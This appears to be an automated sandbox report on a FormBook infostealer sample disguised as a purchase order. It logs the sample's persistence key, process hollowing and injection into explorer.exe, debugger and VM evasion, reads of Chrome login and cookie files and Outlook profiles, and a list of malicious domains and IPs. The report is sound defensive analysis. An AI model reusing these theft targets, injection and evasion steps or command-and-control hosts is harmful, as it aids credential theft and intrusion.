Source: Binary string: wntdll.pdbUGP source: jaxdij.exe, 00000001.00000003.304952099.0000000002EB0000.00000004.00001000.00020000.00000000.sdmp, jaxdij.exe, 00000001.00000003.305442147.0000000002D20000.00000004.00001000.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000002.418718390.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000003.308889857.0000000000F6D000.00000004.00000800.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000003.310322417.0000000001101000.00000004.00000800.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000002.419932774.00000000013BF000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.822319610.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000003.418994755.000000000452C000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000003.416346932.000000000438A000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.823052893.00000000047DF000.00000040.00000800.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: jaxdij.exe, 00000001.00000003.304952099.0000000002EB0000.00000004.00001000.00020000.00000000.sdmp, jaxdij.exe, 00000001.00000003.305442147.0000000002D20000.00000004.00001000.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000002.418718390.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000003.308889857.0000000000F6D000.00000004.00000800.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000003.310322417.0000000001101000.00000004.00000800.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000002.419932774.00000000013BF000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.822319610.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000003.418994755.000000000452C000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000003.416346932.000000000438A000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.823052893.00000000047DF000.00000040.00000800.00020000.00000000.sdmp
Source: Binary string: rundll32.pdb source: jaxdij.exe, 00000002.00000002.417087880.0000000000E69000.00000004.00000020.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000002.418036056.0000000001280000.00000040.10000000.00040000.00000000.sdmp
Source: Binary string: rundll32.pdbGCTL source: jaxdij.exe, 00000002.00000002.417087880.0000000000E69000.00000004.00000020.00020000.00000000.sdmp, jaxdij.exe, 00000002.00000002.418036056.0000000001280000.00000040.10000000.00040000.00000000.sdmp
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_00255A55 push ecx; ret 1_2_00255A68
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_00255A55 push ecx; ret 2_2_00255A68
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0040A0C8 push ds; ret 2_2_0040A1AE
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0041A0F0 push ebp; iretd 2_2_0041A0F2
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0040A0A5 push ds; ret 2_2_0040A1AE
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0040A0B2 push ds; ret 2_2_0040A1AE
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_004210BC push eax; ret 2_2_0042110F
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_00421173 push eax; ret 2_2_00421179
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_00421109 push eax; ret 2_2_0042110F
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_00421112 push eax; ret 2_2_00421179
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0041DA4D push cs; ret 2_2_0041DA4E
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0040EA5A pushfd ; ret 2_2_0040EA63
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_00405220 push ebx; retf 2_2_00405223
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0041AA80 push esi; iretd 2_2_0041AA95
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0041837D push esp; retf 2_2_0041837F
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_00404D69 push ebx; iretd 2_2_00404D6B
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_00419DDD pushad ; retf 2_2_00419DDE
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_00409E35 push 265C611Bh; retf 2_2_00409E3A
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_00419E34 push 91A2CCF8h; ret 2_2_00419E3B
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0041AF2C push esi; retf 2_2_0041AF2D
PE file contains sections with non-standard names
Source: jaxdij.exe.0.dr Static PE information: section name: .00cfg
Source: jaxdij.exe.0.dr Static PE information: section name: .voltbl
Source: rubthqnwyfue.exe.1.dr Static PE information: section name: .00cfg
Source: rubthqnwyfue.exe.1.dr Static PE information: section name: .voltbl
Drops PE files
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe File created: C:\Users\user\AppData\Local\Temp\jaxdij.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe File created: C:\Users\user\AppData\Roaming\fqkyib\rubthqnwyfue.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run aekkvxebyca Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run aekkvxebyca Jump to behavior
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\explorer.exe TID: 4720 Thread sleep time: -50000s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 4720 Thread sleep time: -30000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\rundll32.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe Last function: Thread delayed
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe API coverage: 2.0 %
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe API coverage: 2.6 %
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Code function: 0_2_00405620 CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA, 0_2_00405620
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Code function: 0_2_00405FF6 FindFirstFileA,FindClose, 0_2_00405FF6
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Code function: 0_2_00402654 FindFirstFileA, 0_2_00402654
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_002552D3 FindFirstFileExW, 1_2_002552D3
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_00255387 FindFirstFileExW,FindNextFileW,FindClose,FindClose, 1_2_00255387
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_002552D3 FindFirstFileExW, 2_2_002552D3
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_00255387 FindFirstFileExW,FindNextFileW,FindClose,FindClose, 2_2_00255387
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe API call chain: ExitProcess graph end node
Source: explorer.exe, 00000003.00000000.376337336.0000000008631000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000003.00000000.327757416.00000000086E7000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}i
Source: explorer.exe, 00000003.00000000.327757416.00000000086E7000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.393885342.00000000043B0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.327757416.00000000086E7000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000003.00000000.376337336.0000000008631000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_0025381A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 1_2_0025381A
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_002525CB GetProcessHeap, 1_2_002525CB
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_002500DE mov ecx, dword ptr fs:[00000030h] 1_2_002500DE
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_002541CD mov eax, dword ptr fs:[00000030h] 1_2_002541CD
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_002500DE mov ecx, dword ptr fs:[00000030h] 2_2_002500DE
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_002541CD mov eax, dword ptr fs:[00000030h] 2_2_002541CD
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Roaming\fqkyib\rubthqnwyfue.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Roaming\fqkyib\rubthqnwyfue.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Roaming\fqkyib\rubthqnwyfue.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Roaming\fqkyib\rubthqnwyfue.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0040C307 LdrLoadDll, 2_2_0040C307
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_0024D760 SetUnhandledExceptionFilter, 1_2_0024D760
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_0025381A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 1_2_0025381A
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_0024DC6D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 1_2_0024DC6D
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_0024D76C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 1_2_0024D76C
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0025381A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 2_2_0025381A
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0024DC6D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 2_2_0024DC6D
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0024D760 SetUnhandledExceptionFilter, 2_2_0024D760
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 2_2_0024D76C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 2_2_0024D76C

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.publickit.website
Source: C:\Windows\explorer.exe Network Connect: 74.208.236.65 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.dailyheraldresearch.com
Source: C:\Windows\explorer.exe Domain query: www.ybkos.link
Source: C:\Windows\explorer.exe Domain query: www.tommy57.shop
Source: C:\Windows\explorer.exe Network Connect: 38.40.166.195 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 62.233.121.61 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.oonrreward.xyz
Source: C:\Windows\explorer.exe Domain query: www.frwqc.com
Source: C:\Windows\explorer.exe Network Connect: 178.208.83.20 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 172.67.214.243 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 198.54.121.81 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.lee-perez.com
Source: C:\Windows\explorer.exe Network Connect: 206.83.40.92 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 107.148.15.81 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.davidemarone.com
Source: C:\Windows\explorer.exe Domain query: www.porggiret.site
Source: C:\Windows\explorer.exe Network Connect: 93.179.127.27 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 23.111.12.177 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 74.208.236.214 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.bookmygennie.com
Source: C:\Windows\explorer.exe Domain query: www.gmrsnodes.com
Source: C:\Windows\explorer.exe Domain query: www.new-thinking.digital
Source: C:\Windows\explorer.exe Network Connect: 192.185.90.105 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.tobewell.store
Source: C:\Windows\explorer.exe Domain query: www.700544.com
Source: C:\Windows\explorer.exe Domain query: www.amspustaka.com
Source: C:\Windows\explorer.exe Network Connect: 188.114.97.3 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 38.163.214.169 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.spirituallyzen.com
Source: C:\Windows\explorer.exe Network Connect: 216.40.34.41 80 Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Section unmapped: C:\Windows\SysWOW64\rundll32.exe base address: 380000 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Section loaded: unknown target: C:\Users\user\AppData\Local\Temp\jaxdij.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Thread register set: target process: 3324 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Thread register set: target process: 3324 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Process created: C:\Users\user\AppData\Local\Temp\jaxdij.exe "C:\Users\user\AppData\Local\Temp\jaxdij.exe" C:\Users\user\AppData\Local\Temp\uqnwrddys.k Jump to behavior
Source: explorer.exe, 00000003.00000000.367643427.0000000005910000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.313822910.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.376579579.00000000086B6000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000003.00000000.313822910.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.391418068.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.362128973.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: uProgram Manager*r
Source: explorer.exe, 00000003.00000000.313822910.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.391418068.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.362128973.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000003.00000000.313822910.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.391418068.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.362128973.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000003.00000000.313336465.0000000000878000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.390965323.0000000000878000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.361602747.0000000000878000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ProgmanLoc*U
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_0024D985 cpuid 1_2_0024D985
Source: C:\Users\user\AppData\Local\Temp\jaxdij.exe Code function: 1_2_0024D612 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 1_2_0024D612
Source: C:\Users\user\Desktop\New PO-RJ-IN-003 - Knauf Queimados.exe Code function: 0_2_0040324F EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,ExitProcess,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess, 0_2_0040324F

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 2.2.jaxdij.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.jaxdij.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.821380016.0000000000500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.417309274.0000000001060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.417458366.0000000001090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.822152428.0000000004480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000000.383481318.000000001091F000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.821985368.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.415905710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\rundll32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State Jump to behavior

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 2.2.jaxdij.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.jaxdij.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.821380016.0000000000500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.417309274.0000000001060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.417458366.0000000001090000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.822152428.0000000004480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000000.383481318.000000001091F000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.821985368.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.415905710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
